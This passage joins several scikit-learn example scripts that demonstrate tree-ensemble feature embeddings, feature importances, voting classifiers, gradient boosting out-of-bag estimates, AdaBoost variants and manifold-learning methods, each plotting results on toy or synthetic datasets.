index in a new feature space. These leaf indices are then encoded in a
one-hot fashion.

Each sample goes through the decisions of each tree of the ensemble
and ends up in one leaf per tree. The sample is encoded by setting
feature values for these leaves to 1 and the other feature values to 0.

The resulting transformer has then learned a supervised, sparse,
high-dimensional categorical embedding of the data.

"""

# Author: Tim Head <betatim@gmail.com>
#
# License: BSD 3 clause

import numpy as np
np.random.seed(10)

import matplotlib.pyplot as plt

from sklearn.datasets import make_classification
from sklearn.linear_model import LogisticRegression
from sklearn.ensemble import (RandomTreesEmbedding, RandomForestClassifier,
                              GradientBoostingClassifier)
from sklearn.preprocessing import OneHotEncoder
from sklearn.model_selection import train_test_split
from sklearn.metrics import roc_curve
from sklearn.pipeline import make_pipeline

n_estimator = 10
X, y = make_classification(n_samples=80000)
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.5)
# It is important to train the ensemble of trees on a different subset
# of the training data than the linear regression model to avoid
# overfitting, in particular if the total number of leaves is
# similar to the number of training samples
X_train, X_train_lr, y_train, y_train_lr = train_test_split(X_train,
                                                            y_train,
                                                            test_size=0.5)

# Unsupervised transformation based on totally random trees
rt = RandomTreesEmbedding(max_depth=3, n_estimators=n_estimator,
	random_state=0)

rt_lm = LogisticRegression()
pipeline = make_pipeline(rt, rt_lm)
pipeline.fit(X_train, y_train)
y_pred_rt = pipeline.predict_proba(X_test)[:, 1]
fpr_rt_lm, tpr_rt_lm, _ = roc_curve(y_test, y_pred_rt)

# Supervised transformation based on random forests
rf = RandomForestClassifier(max_depth=3, n_estimators=n_estimator)
rf_enc = OneHotEncoder()
rf_lm = LogisticRegression()
rf.fit(X_train, y_train)
rf_enc.fit(rf.apply(X_train))
rf_lm.fit(rf_enc.transform(rf.apply(X_train_lr)), y_train_lr)

y_pred_rf_lm = rf_lm.predict_proba(rf_enc.transform(rf.apply(X_test)))[:, 1]
fpr_rf_lm, tpr_rf_lm, _ = roc_curve(y_test, y_pred_rf_lm)

grd = GradientBoostingClassifier(n_estimators=n_estimator)
grd_enc = OneHotEncoder()
grd_lm = LogisticRegression()
grd.fit(X_train, y_train)
grd_enc.fit(grd.apply(X_train)[:, :, 0])
grd_lm.fit(grd_enc.transform(grd.apply(X_train_lr)[:, :, 0]), y_train_lr)

y_pred_grd_lm = grd_lm.predict_proba(
    grd_enc.transform(grd.apply(X_test)[:, :, 0]))[:, 1]
fpr_grd_lm, tpr_grd_lm, _ = roc_curve(y_test, y_pred_grd_lm)


# The gradient boosted model by itself
y_pred_grd = grd.predict_proba(X_test)[:, 1]
fpr_grd, tpr_grd, _ = roc_curve(y_test, y_pred_grd)


# The random forest model by itself
y_pred_rf = rf.predict_proba(X_test)[:, 1]
fpr_rf, tpr_rf, _ = roc_curve(y_test, y_pred_rf)

plt.figure(1)
plt.plot([0, 1], [0, 1], 'k--')
plt.plot(fpr_rt_lm, tpr_rt_lm, label='RT + LR')
plt.plot(fpr_rf, tpr_rf, label='RF')
plt.plot(fpr_rf_lm, tpr_rf_lm, label='RF + LR')
plt.plot(fpr_grd, tpr_grd, label='GBT')
plt.plot(fpr_grd_lm, tpr_grd_lm, label='GBT + LR')
plt.xlabel('False positive rate')
plt.ylabel('True positive rate')
plt.title('ROC curve')
plt.legend(loc='best')
plt.show()

plt.figure(2)
plt.xlim(0, 0.2)
plt.ylim(0.8, 1)
plt.plot([0, 1], [0, 1], 'k--')
plt.plot(fpr_rt_lm, tpr_rt_lm, label='RT + LR')
plt.plot(fpr_rf, tpr_rf, label='RF')
plt.plot(fpr_rf_lm, tpr_rf_lm, label='RF + LR')
plt.plot(fpr_grd, tpr_grd, label='GBT')
plt.plot(fpr_grd_lm, tpr_grd_lm, label='GBT + LR')
plt.xlabel('False positive rate')
plt.ylabel('True positive rate')
plt.title('ROC curve (zoomed in at top left)')
plt.legend(loc='best')
plt.show()






"""
=========================================
Feature importances with forests of trees
=========================================

This examples shows the use of forests of trees to evaluate the importance of
features on an artificial classification task. The red bars are the feature
importances of the forest, along with their inter-trees variability.

As expected, the plot suggests that 3 features are informative, while the
remaining are not.
"""
print(__doc__)

import numpy as np
import matplotlib.pyplot as plt

from sklearn.datasets import make_classification
from sklearn.ensemble import ExtraTreesClassifier

# Build a classification task using 3 informative features
X, y = make_classification(n_samples=1000,
                           n_features=10,
                           n_informative=3,
                           n_redundant=0,
                           n_repeated=0,
                           n_classes=2,
                           random_state=0,
                           shuffle=False)

# Build a forest and compute the feature importances
forest = ExtraTreesClassifier(n_estimators=250,
                              random_state=0)

forest.fit(X, y)
importances = forest.feature_importances_
std = np.std([tree.feature_importances_ for tree in forest.estimators_],
             axis=0)
indices = np.argsort(importances)[::-1]

# Print the feature ranking
print("Feature ranking:")

for f in range(X.shape[1]):
    print("%d. feature %d (%f)" % (f + 1, indices[f], importances[indices[f]]))

# Plot the feature importances of the forest
plt.figure()
plt.title("Feature importances")
plt.bar(range(X.shape[1]), importances[indices],
       color="r", yerr=std[indices], align="center")
plt.xticks(range(X.shape[1]), indices)
plt.xlim([-1, X.shape[1]])
plt.show()






"""
==================================================
Plot the decision boundaries of a VotingClassifier
==================================================

Plot the decision boundaries of a `VotingClassifier` for
two features of the Iris dataset.

Plot the class probabilities of the first sample in a toy dataset
predicted by three different classifiers and averaged by the
`VotingClassifier`.

First, three exemplary classifiers are initialized (`DecisionTreeClassifier`,
`KNeighborsClassifier`, and `SVC`) and used to initialize a
soft-voting `VotingClassifier` with weights `[2, 1, 2]`, which means that
the predicted probabilities of the `DecisionTreeClassifier` and `SVC`
count 5 times as much as the weights of the `KNeighborsClassifier` classifier
when the averaged probability is calculated.

"""
print(__doc__)

from itertools import product

import numpy as np
import matplotlib.pyplot as plt

from sklearn import datasets
from sklearn.tree import DecisionTreeClassifier
from sklearn.neighbors import KNeighborsClassifier
from sklearn.svm import SVC
from sklearn.ensemble import VotingClassifier

# Loading some example data
iris = datasets.load_iris()
X = iris.data[:, [0, 2]]
y = iris.target

# Training classifiers
clf1 = DecisionTreeClassifier(max_depth=4)
clf2 = KNeighborsClassifier(n_neighbors=7)
clf3 = SVC(kernel='rbf', probability=True)
eclf = VotingClassifier(estimators=[('dt', clf1), ('knn', clf2),
                                    ('svc', clf3)],
                        voting='soft', weights=[2, 1, 2])

clf1.fit(X, y)
clf2.fit(X, y)
clf3.fit(X, y)
eclf.fit(X, y)

# Plotting decision regions
x_min, x_max = X[:, 0].min() - 1, X[:, 0].max() + 1
y_min, y_max = X[:, 1].min() - 1, X[:, 1].max() + 1
xx, yy = np.meshgrid(np.arange(x_min, x_max, 0.1),
                     np.arange(y_min, y_max, 0.1))

f, axarr = plt.subplots(2, 2, sharex='col', sharey='row', figsize=(10, 8))

for idx, clf, tt in zip(product([0, 1], [0, 1]),
                        [clf1, clf2, clf3, eclf],
                        ['Decision Tree (depth=4)', 'KNN (k=7)',
                         'Kernel SVM', 'Soft Voting']):

    Z = clf.predict(np.c_[xx.ravel(), yy.ravel()])
    Z = Z.reshape(xx.shape)

    axarr[idx[0], idx[1]].contourf(xx, yy, Z, alpha=0.4)
    axarr[idx[0], idx[1]].scatter(X[:, 0], X[:, 1], c=y, alpha=0.8)
    axarr[idx[0], idx[1]].set_title(tt)

plt.show()






"""
======================================
Gradient Boosting Out-of-Bag estimates
======================================

Out-of-bag (OOB) estimates can be a useful heuristic to estimate
the "optimal" number of boosting iterations.
OOB estimates are almost identical to cross-validation estimates but
they can be computed on-the-fly without the need for repeated model
fitting.
OOB estimates are only available for Stochastic Gradient Boosting
(i.e. ``subsample < 1.0``), the estimates are derived from the improvement
in loss based on the examples not included in the bootstrap sample
(the so-called out-of-bag examples).
The OOB estimator is a pessimistic estimator of the true
test loss, but remains a fairly good approximation for a small number of trees.

The figure shows the cumulative sum of the negative OOB improvements
as a function of the boosting iteration. As you can see, it tracks the test
loss for the first hundred iterations but then diverges in a
pessimistic way.
The figure also shows the performance of 3-fold cross validation which
usually gives a better estimate of the test loss
but is computationally more demanding.
"""
print(__doc__)

# Author: Peter Prettenhofer <peter.prettenhofer@gmail.com>
#
# License: BSD 3 clause

import numpy as np
import matplotlib.pyplot as plt

from sklearn import ensemble
from sklearn.model_selection import KFold
from sklearn.model_selection import train_test_split


# Generate data (adapted from G. Ridgeway's gbm example)
n_samples = 1000
random_state = np.random.RandomState(13)
x1 = random_state.uniform(size=n_samples)
x2 = random_state.uniform(size=n_samples)
x3 = random_state.randint(0, 4, size=n_samples)

p = 1 / (1.0 + np.exp(-(np.sin(3 * x1) - 4 * x2 + x3)))
y = random_state.binomial(1, p, size=n_samples)

X = np.c_[x1, x2, x3]

X = X.astype(np.float32)
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.5,
                                                    random_state=9)

# Fit classifier with out-of-bag estimates
params = {'n_estimators': 1200, 'max_depth': 3, 'subsample': 0.5,
          'learning_rate': 0.01, 'min_samples_leaf': 1, 'random_state': 3}
clf = ensemble.GradientBoostingClassifier(**params)

clf.fit(X_train, y_train)
acc = clf.score(X_test, y_test)
print("Accuracy: {:.4f}".format(acc))

n_estimators = params['n_estimators']
x = np.arange(n_estimators) + 1


def heldout_score(clf, X_test, y_test):
    """compute deviance scores on ``X_test`` and ``y_test``. """
    score = np.zeros((n_estimators,), dtype=np.float64)
    for i, y_pred in enumerate(clf.staged_decision_function(X_test)):
        score[i] = clf.loss_(y_test, y_pred)
    return score


def cv_estimate(n_splits=3):
    cv = KFold(n_splits=n_splits)
    cv_clf = ensemble.GradientBoostingClassifier(**params)
    val_scores = np.zeros((n_estimators,), dtype=np.float64)
    for train, test in cv.split(X_train, y_train):
        cv_clf.fit(X_train[train], y_train[train])
        val_scores += heldout_score(cv_clf, X_train[test], y_train[test])
    val_scores /= n_splits
    return val_scores


# Estimate best n_estimator using cross-validation
cv_score = cv_estimate(3)

# Compute best n_estimator for test data
test_score = heldout_score(clf, X_test, y_test)

# negative cumulative sum of oob improvements
cumsum = -np.cumsum(clf.oob_improvement_)

# min loss according to OOB
oob_best_iter = x[np.argmin(cumsum)]

# min loss according to test (normalize such that first loss is 0)
test_score -= test_score[0]
test_best_iter = x[np.argmin(test_score)]

# min loss according to cv (normalize such that first loss is 0)
cv_score -= cv_score[0]
cv_best_iter = x[np.argmin(cv_score)]

# color brew for the three curves
oob_color = list(map(lambda x: x / 256.0, (190, 174, 212)))
test_color = list(map(lambda x: x / 256.0, (127, 201, 127)))
cv_color = list(map(lambda x: x / 256.0, (253, 192, 134)))

# plot curves and vertical lines for best iterations
plt.plot(x, cumsum, label='OOB loss', color=oob_color)
plt.plot(x, test_score, label='Test loss', color=test_color)
plt.plot(x, cv_score, label='CV loss', color=cv_color)
plt.axvline(x=oob_best_iter, color=oob_color)
plt.axvline(x=test_best_iter, color=test_color)
plt.axvline(x=cv_best_iter, color=cv_color)

# add three vertical lines to xticks
xticks = plt.xticks()
xticks_pos = np.array(xticks[0].tolist() +
                      [oob_best_iter, cv_best_iter, test_best_iter])
xticks_label = np.array(list(map(lambda t: int(t), xticks[0])) +
                        ['OOB', 'CV', 'Test'])
ind = np.argsort(xticks_pos)
xticks_pos = xticks_pos[ind]
xticks_label = xticks_label[ind]
plt.xticks(xticks_pos, xticks_label)

plt.legend(loc='upper right')
plt.ylabel('normalized loss')
plt.xlabel('number of iterations')

plt.show()






"""
=============================
Discrete versus Real AdaBoost
=============================

This example is based on Figure 10.2 from Hastie et al 2009 [1] and illustrates
the difference in performance between the discrete SAMME [2] boosting
algorithm and real SAMME.R boosting algorithm. Both algorithms are evaluated
on a binary classification task where the target Y is a non-linear function
of 10 input features.

Discrete SAMME AdaBoost adapts based on errors in predicted class labels
whereas real SAMME.R uses the predicted class probabilities.

.. [1] T. Hastie, R. Tibshirani and J. Friedman, "Elements of Statistical
    Learning Ed. 2", Springer, 2009.

.. [2] J. Zhu, H. Zou, S. Rosset, T. Hastie, "Multi-class AdaBoost", 2009.

"""
print(__doc__)

# Author: Peter Prettenhofer <peter.prettenhofer@gmail.com>,
#         Noel Dawe <noel.dawe@gmail.com>
#
# License: BSD 3 clause

import numpy as np
import matplotlib.pyplot as plt

from sklearn import datasets
from sklearn.tree import DecisionTreeClassifier
from sklearn.metrics import zero_one_loss
from sklearn.ensemble import AdaBoostClassifier


n_estimators = 400
# A learning rate of 1. may not be optimal for both SAMME and SAMME.R
learning_rate = 1.

X, y = datasets.make_hastie_10_2(n_samples=12000, random_state=1)

X_test, y_test = X[2000:], y[2000:]
X_train, y_train = X[:2000], y[:2000]

dt_stump = DecisionTreeClassifier(max_depth=1, min_samples_leaf=1)
dt_stump.fit(X_train, y_train)
dt_stump_err = 1.0 - dt_stump.score(X_test, y_test)

dt = DecisionTreeClassifier(max_depth=9, min_samples_leaf=1)
dt.fit(X_train, y_train)
dt_err = 1.0 - dt.score(X_test, y_test)

ada_discrete = AdaBoostClassifier(
    base_estimator=dt_stump,
    learning_rate=learning_rate,
    n_estimators=n_estimators,
    algorithm="SAMME")
ada_discrete.fit(X_train, y_train)

ada_real = AdaBoostClassifier(
    base_estimator=dt_stump,
    learning_rate=learning_rate,
    n_estimators=n_estimators,
    algorithm="SAMME.R")
ada_real.fit(X_train, y_train)

fig = plt.figure()
ax = fig.add_subplot(111)

ax.plot([1, n_estimators], [dt_stump_err] * 2, 'k-',
        label='Decision Stump Error')
ax.plot([1, n_estimators], [dt_err] * 2, 'k--',
        label='Decision Tree Error')

ada_discrete_err = np.zeros((n_estimators,))
for i, y_pred in enumerate(ada_discrete.staged_predict(X_test)):
    ada_discrete_err[i] = zero_one_loss(y_pred, y_test)

ada_discrete_err_train = np.zeros((n_estimators,))
for i, y_pred in enumerate(ada_discrete.staged_predict(X_train)):
    ada_discrete_err_train[i] = zero_one_loss(y_pred, y_train)

ada_real_err = np.zeros((n_estimators,))
for i, y_pred in enumerate(ada_real.staged_predict(X_test)):
    ada_real_err[i] = zero_one_loss(y_pred, y_test)

ada_real_err_train = np.zeros((n_estimators,))
for i, y_pred in enumerate(ada_real.staged_predict(X_train)):
    ada_real_err_train[i] = zero_one_loss(y_pred, y_train)

ax.plot(np.arange(n_estimators) + 1, ada_discrete_err,
        label='Discrete AdaBoost Test Error',
        color='red')
ax.plot(np.arange(n_estimators) + 1, ada_discrete_err_train,
        label='Discrete AdaBoost Train Error',
        color='blue')
ax.plot(np.arange(n_estimators) + 1, ada_real_err,
        label='Real AdaBoost Test Error',
        color='orange')
ax.plot(np.arange(n_estimators) + 1, ada_real_err_train,
        label='Real AdaBoost Train Error',
        color='green')

ax.set_ylim((0.0, 0.5))
ax.set_xlabel('n_estimators')
ax.set_ylabel('error rate')

leg = ax.legend(loc='upper right', fancybox=True)
leg.get_frame().set_alpha(0.7)

plt.show()






#!/usr/bin/python
# -*- coding: utf-8 -*-

"""
=============================================
Manifold Learning methods on a severed sphere
=============================================

An application of the different :ref:`manifold` techniques
on a spherical data-set. Here one can see the use of
dimensionality reduction in order to gain some intuition
regarding the manifold learning methods. Regarding the dataset,
the poles are cut from the sphere, as well as a thin slice down its
side. This enables the manifold learning techniques to
'spread it open' whilst projecting it onto two dimensions.

For a similar example, where the methods are applied to the
S-curve dataset, see :ref:`sphx_glr_auto_examples_manifold_plot_compare_methods.py`

Note that the purpose of the :ref:`MDS <multidimensional_scaling>` is
to find a low-dimensional representation of the data (here 2D) in
which the distances respect well the distances in the original
high-dimensional space, unlike other manifold-learning algorithms,
it does not seeks an isotropic representation of the data in
the low-dimensional space. Here the manifold problem matches fairly
that of representing a flat map of the Earth, as with
`map projection <https://en.wikipedia.org/wiki/Map_projection>`_
"""

# Author: Jaques Grobler <jaques.grobler@inria.fr>
# License: BSD 3 clause

print(__doc__)

from time import time

import numpy as np
import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D
from matplotlib.ticker import NullFormatter

from sklearn import manifold
from sklearn.utils import check_random_state

# Next line to silence pyflakes.
Axes3D

# Variables for manifold learning.
n_neighbors = 10
n_samples = 1000

# Create our sphere.
random_state = check_random_state(0)
p = random_state.rand(n_samples) * (2 * np.pi - 0.55)
t = random_state.rand(n_samples) * np.pi

# Sever the poles from the sphere.
indices = ((t < (np.pi - (np.pi / 8))) & (t > ((np.pi / 8))))
colors = p[indices]
x, y, z = np.sin(t[indices]) * np.cos(p[indices]), \
    np.sin(t[indices]) * np.sin(p[indices]), \
    np.cos(t[indices])

# Plot our dataset.
fig = plt.figure(figsize=(15, 8))
plt.suptitle("Manifold Learning with %i points, %i neighbors"
             % (1000, n_neighbors), fontsize=14)

ax = fig.add_subplot(251, projection='3d')
ax.scatter(x, y, z, c=p[indices], cmap=plt.cm.rainbow)
try:
    # compatibility matplotlib < 1.0
    ax.view_init(40, -10)
except:
    pass

sphere_data = np.array([x, y, z]).T

# Perform Locally Linear Embedding Manifold learning
methods = ['standard', 'ltsa', 'hessian', 'modified']
labels = ['LLE', 'LTSA', 'Hessian LLE', 'Modified LLE']

for i, method in enumerate(methods):
    t0 = time()
    trans_data = manifold\
        .LocallyLinearEmbedding(n_neighbors, 2,
                                method=method).fit_transform(sphere_data).T
    t1 = time()
    print("%s: %.2g sec" % (methods[i], t1 - t0))

    ax = fig.add_subplot(252 + i)
    plt.scatter(trans_data[0], trans_data[1], c=colors, cmap=plt.cm.rainbow)
    plt.title("%s (%.2g sec)" % (labels[i], t1 - t0))
    ax.xaxis.set_major_formatter(NullFormatter())
    ax.yaxis.set_major_formatter(NullFormatter())
    plt.axis('tight')

# Perform Isomap Manifold learning.
t0 = time()
trans_data = manifold.Isomap(n_neighbors, n_components=2)\
    .fit_transform(sphere_data).T
t1 = time()
print("%s: %.2g sec" % ('ISO', t1 - t0))

ax = fig.add_subplot(257)
plt.scatter(trans_data[0], trans_data[1], c=colors, cmap=plt.cm.rainbow)
plt.title("%s (%.2g sec)" % ('Isomap', t1 - t0))
ax.xaxis.set_major_formatter(NullFormatter())
ax.yaxis.set_major_formatter(NullFormatter())
plt.axis('tight')

# Perform Multi-dimensional scaling.
t0 = time()
mds = manifold.MDS(2, max_iter=100, n_init=1)
trans_data = mds.fit_transform(sphere_data).T
t1 = time()
print("MDS: %.2g sec" % (t1 - t0))

ax = fig.add_subplot(258)
plt.scatter(trans_data[0], trans_data[1], c=colors, cmap=plt.cm.rainbow)
plt.title("MDS (%.2g sec)" % (t1 - t0))
ax.xaxis.set_major_formatter(NullFormatter())
ax.yaxis.set_major_formatter(NullFormatter())
plt.axis('tight')

# Perform Spectral Embedding.
t0 = time()
se = manifold.SpectralEmbedding(n_components=2,
                                n_neighbors=n_neighbors)
trans_data = se.fit_transform(sphere_data).T
t1 = time()
print("Spectral Embedding: %.2g sec" % (t1 - t0))

ax = fig.add_subplot(259)
plt.scatter(trans_data[0], trans_data[1], c=colors, cmap=plt.cm.rainbow)
plt.title("Spectral Embedding (%.2g sec)" % (t1 - t0))
ax.xaxis.set_major_formatter(NullFormatter())
ax.yaxis.set_major_formatter(NullFormatter())
plt.axis('tight')

# Perform t-distributed stochastic neighbor embedding.
t0 = time()
tsne = manifold.TSNE(n_components=2, init='pca', random_state=0)
trans_data = tsne.fit_transform(sphere_data).T
t1 = time()
print("t-SNE: %.2g sec" % (t1 - t0))

ax = fig.add_subplot(2, 5, 10)
plt.scatter(trans_data[0], trans_data[1], c=colors, cmap=plt.cm.rainbow)
plt.title("t-SNE (%.2g sec)" % (t1 - t0))
ax.xaxis.set_major_formatter(NullFormatter())
ax.yaxis.set_major_formatter(NullFormatter())
plt.axis('tight')

plt.show()






"""
=========================
Multi-dimensional scaling
=========================

An illustration of the metric and non-metric MDS on generated noisy data.

The reconstructed points using the metric MDS and non metric MDS are slightly
shifted to avoid overlapping.
"""

# Author: Nelle Varoquaux <nelle.varoquaux@gmail.com>
# License: BSD

print(__doc__)
import numpy as np

from matplotlib import pyplot as plt
from matplotlib.collections import LineCollection

from sklearn import manifold
from sklearn.metrics import euclidean_distances
from sklearn.decomposition import PCA

n_samples = 20
seed = np.random.RandomState(seed=3)
X_true = seed.randint(0, 20, 2 * n_samples).astype(np.float)
X_true = X_true.reshape((n_samples, 2))
# Center the data
X_true -= X_true.mean()

similarities = euclidean_distances(X_true)

# Add noise to the similarities
noise = np.random.rand(n_samples, n_samples)
noise = noise + noise.T
noise[np.arange(noise.shape[0]), np.arange(noise.shape[0])] = 0
similarities += noise

mds = manifold.MDS(n_components=2, max_iter=3000, eps=1e-9, random_state=seed,
                   dissimilarity="precomputed", n_jobs=1)
pos = mds.fit(similarities).embedding_

nmds = manifold.MDS(n_components=2, metric=False, max_iter=3000, eps=1e-12,
                    dissimilarity="precomputed", random_state=seed, n_jobs=1,
                    n_init=1)
npos = nmds.fit_transform(similarities, init=pos)

# Rescale the data
pos *= np.sqrt((X_true ** 2).sum()) / np.sqrt((pos ** 2).sum())
npos *= np.sqrt((X_true ** 2).sum()) / np.sqrt((npos ** 2).sum())

# Rotate the data
clf = PCA(n_components=2)
X_true = clf.fit_transform(X_true)

pos = clf.fit_transform(pos)

npos = clf.fit_transform(npos)

fig = plt.figure(1)
ax = plt.axes([0., 0., 1., 1.])

s = 100
plt.scatter(X_true[:, 0], X_true[:, 1], color='navy', s=s, lw=0,
            label='True Position')
plt.scatter(pos[:, 0], pos[:, 1], color='turquoise', s=s, lw=0, label='MDS')
plt.scatter(npos[:, 0], npos[:, 1], color='darkorange', s=s, lw=0, label='NMDS')
plt.legend(scatterpoints=1, loc='best', shadow=False)

similarities = similarities.max() / similarities * 100
similarities[np.isinf(similarities)] = 0

# Plot the edges
start_idx, end_idx = np.where(pos)
# a sequence of (*line0*, *line1*, *line2*), where::
#            linen = (x0, y0), (x1, y1), ... (xm, ym)
segments = [[X_true[i, :], X_true[j, :]]
            for i in range(len(pos)) for j in range(len(pos))]
values = np.abs(similarities)
lc = LineCollection(segments,
                    zorder=0, cmap=plt.cm.Blues,
                    norm=plt.Normalize(0, values.max()))
lc.set_array(similarities.flatten())
lc.set_linewidths(0.5 * np.ones(len(segments)))
ax.add_collection(lc)

plt.show()






"""
===================================
Swiss Roll reduction with LLE
===================================

An illustration of Swiss Roll reduction
with locally linear embedding
"""

# Author: Fabian Pedregosa -- <fabian.pedregosa@inria.fr>
# License: BSD 3 clause (C) INRIA 2011

print(__doc__)

import matplotlib.pyplot as plt

# This import is needed to modify the way figure behaves
from mpl_toolkits.mplot3d import Axes3D
Axes3D

#----------------------------------------------------------------------
# Locally linear embedding of the swiss roll

from sklearn import manifold, datasets
X, color = datasets.samples_generator.make_swiss_roll(n_samples=1500)

print("Computing LLE embedding")
X_r, err = manifold.locally_linear_embedding(X, n_neighbors=12,
                                             n_components=2)
print("Done. Reconstruction error: %g" % err)

#----------------------------------------------------------------------
# Plot result

fig = plt.figure()
try:
    # compatibility matplotlib < 1.0
    ax = fig.add_subplot(211, projection='3d')
    ax.scatter(X[:, 0], X[:, 1], X[:, 2], c=color, cmap=plt.cm.Spectral)
except:
    ax = fig.add_subplot(211)
    ax.scatter(X[:, 0], X[:, 2], c=color, cmap=plt.cm.Spectral)

ax.set_title("Original data")
ax = fig.add_subplot(212)
ax.scatter(X_r[:, 0], X_r[:, 1], c=color, cmap=plt.cm.Spectral)
plt.axis('tight')
plt.xticks([]), plt.yticks([])
plt.title('Projected data')
plt.show()






"""
=========================================
 Comparison of Manifold Learning methods
=========================================

An illustration of dimensionality reduction on the S-curve dataset
with various manifold learning methods.

For a discussion and comparison of these algorithms, see the
:ref:`manifold module page <manifold>`

For a similar example, where the methods are applied to a
sphere dataset, see :ref:`sphx_glr_auto_examples_manifold_plot_manifold_sphere.py`

Note that the purpose of the MDS is to find a low-dimensional
representation of the data (here 2D) in which the distances respect well
the distances in the original high-dimensional space, unlike other
manifold-learning algorithms, it does not seeks an isotropic
representation of the data in the low-dimensional space.
"""

# Author: Jake Vanderplas -- <vanderplas@astro.washington.edu>

print(__doc__)

from time import time

import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D
from matplotlib.ticker import NullFormatter

from sklearn import manifold, datasets

# Next line to silence pyflakes. This import is needed.
Axes3D

n_points = 1000
X, color = datasets.samples_generator.make_s_curve(n_points, random_state=0)
n_neighbors = 10
n_components = 2

fig = plt.figure(figsize=(15, 8))
plt.suptitle("Manifold Learning with %i points, %i neighbors"
             % (1000, n_neighbors), fontsize=14)

try:
    # compatibility matplotlib < 1.0
    ax = fig.add_subplot(251, projection='3d')
    ax.scatter(X[:, 0], X[:, 1], X[:, 2], c=color, cmap=plt.cm.Spectral)
    ax.view_init(4, -72)
except:
    ax = fig.add_subplot(251, projection='3d')
    plt.scatter(X[:, 0], X[:, 2], c=color, cmap=plt.cm.Spectral)

methods = ['standard', 'ltsa', 'hessian', 'modified']
labels = ['LLE', 'LTSA', 'Hessian LLE', 'Modified LLE']

for i, method in enumerate(methods):
    t0 = time()
    Y = manifold.LocallyLinearEmbedding(n_neighbors, n_components,
                                        eigen_solver='auto',
                                        method=method).fit_transform(X)
    t1 = time()
    print("%s: %.2g sec" % (methods[i], t1 - t0))

    ax = fig.add_subplot(252 + i)
    plt.scatter(Y[:, 0], Y[:, 1], c=color, cmap=plt.cm.Spectral)
    plt.title("%s (%.2g sec)" % (labels[i], t1 - t0))
    ax.xaxis.set_major_formatter(NullFormatter())
    ax.yaxis.set_major_formatter(NullFormatter())
    plt.axis('tight')

t0 = time()
Y = manifold.Isomap(n_neighbors, n_components).fit_transform(X)
t1 = time()
print("Isomap: %.2g sec" % (t1 - t0))
ax = fig.add_subplot(257)
plt.scatter(Y[:, 0], Y[:, 1], c=color, cmap=plt.cm.Spectral)
plt.title("Isomap (%.2g sec)" % (t1 - t0))
ax.xaxis.set_major_formatter(NullFormatter())
ax.yaxis.set_major_formatter(NullFormatter())
plt.axis('tight')


t0 = time()
mds = manifold.MDS(n_components, max_iter=100, n_init=1)
Y = mds.fit_transform(X)
t1 = time()
print("MDS: %.2g sec" % (t1 - t0))
ax = fig.add_subplot(258)
plt.scatter(Y[:, 0], Y[:, 1], c=color, cmap=plt.cm.Spectral)
plt.title("MDS (%.2g sec)" % (t1 - t0))
ax.xaxis.set_major_formatter(NullFormatter())
ax.yaxis.set_major_formatter(NullFormatter())
plt.axis('tight')


t0 = time()
se = manifold.SpectralEmbedding(n_components=n_components,
                                n_neighbors=n_neighbors)
Y = se.fit_transform(X)
t1 = time()
print("SpectralEmbedding: %.2g sec" % (t1 - t0))
ax = fig.add_subplot(259)
plt.scatter(Y[:, 0], Y[:, 1], c=color, cmap=plt.cm.Spectral)
plt.title("SpectralEmbedding (%.2g sec)" % (t1 - t0))
ax.xaxis.set_major_formatter(NullFormatter())
ax.yaxis.set_major_formatter(NullFormatter())
plt.axis('tight')

t0 = time()
tsne = manifold.TSNE(n_components=n_components, init='pca', random_state=0)
Y = tsne.fit_transform(X)
t1 = time()
print("t-SNE: %.2g sec" % (t1 - t0))
ax = fig.add_subplot(2, 5, 10)
plt.scatter(Y[:, 0], Y[:, 1], c=color, cmap=plt.cm.Spectral)
plt.title("t-SNE (%.2g sec)" % (t1 - t0))
ax.xaxis.set_major_formatter(NullFormatter())
ax.yaxis.set_major_formatter(NullFormatter())
plt.axis('tight')

plt.show()






"""
=============================================================================
Manifold learning on handwritten digits: Locally Linear Embedding, Isomap...
=============================================================================

An illustration of various embeddings on the digits dataset.

The RandomTreesEmbedding, from the :mod:`sklearn.ensemble` module, is not
technically a manifold embedding method, as it learn a high-dimensional
representation on which we apply a dimensionality reduction method.
However, it is often useful to cast a dataset into a representation in
which the classes are linearly-separable.

t-SNE will be initialized with the embedding that is generated by PCA in
this example, which is not the default setting. It ensures global stability
of the embedding, i.e., the embedding does not depend on random
initialization.
"""

# Authors: Fabian Pedregosa <fabian.pedregosa@inria.fr>
#          Olivier Grisel <olivier.grisel@ensta.org>
#          Mathieu Blondel <mathieu@mblondel.org>
#          Gael Varoquaux
# License: BSD 3 clause (C) INRIA 2011

print(__doc__)
from time import time

import numpy as np
import matplotlib.pyplot as plt
from matplotlib import offsetbox
from sklearn import (manifold, datasets, decomposition, ensemble,
                     discriminant_analysis, random_projection)

digits = datasets.load_digits(n_class=6)
X = digits.data
y = digits.target
n_samples, n_features = X.shape
n_neighbors = 30


#----------------------------------------------------------------------
# Scale and visualize the embedding vectors
def plot_embedding(X, title=None):
    x_min, x_max = np.min(X, 0), np.max(X, 0)
    X = (X - x_min) / (x_max - x_min)

    plt.figure()
    ax = plt.subplot(111)
    for i in range(X.shape[0]):
        plt.text(X[i, 0], X[i, 1], str(digits.target[i]),
                 color=plt.cm.Set1(y[i] / 10.),
                 fontdict={'weight': 'bold', 'size': 9})

    if hasattr(offsetbox, 'AnnotationBbox'):
        # only print thumbnails with matplotlib > 1.0
        shown_images = np.array([[1., 1.]])  # just something big
        for i in range(digits.data.shape[0]):
            dist = np.sum((X[i] - shown_images) ** 2, 1)
            if np.min(dist) < 4e-3:
                # don't show points that are too close
                continue
            shown_images = np.r_[shown_images, [X[i]]]
            imagebox = offsetbox.AnnotationBbox(
                offsetbox.OffsetImage(digits.images[i], cmap=plt.cm.gray_r),
                X[i])
            ax.add_artist(imagebox)
    plt.xticks([]), plt.yticks([])
    if title is not None:
        plt.title(title)


#----------------------------------------------------------------------
# Plot images of the digits
n_img_per_row = 20
img = np.zeros((10 * n_img_per_row, 10 * n_img_per_row))
for i in range(n_img_per_row):
    ix = 10 * i + 1
    for j in range(n_img_per_row):
        iy = 10 * j + 1
        img[ix:ix + 8, iy:iy + 8] = X[i * n_img_per_row + j].reshape((8, 8))

plt.imshow(img, cmap=plt.cm.binary)
plt.xticks([])
plt.yticks([])
plt.title('A selection from the 64-dimensional digits dataset')


#----------------------------------------------------------------------
# Random 2D projection using a random unitary matrix
print("Computing random projection")
rp = random_projection.SparseRandomProjection(n_components=2, random_state=42)
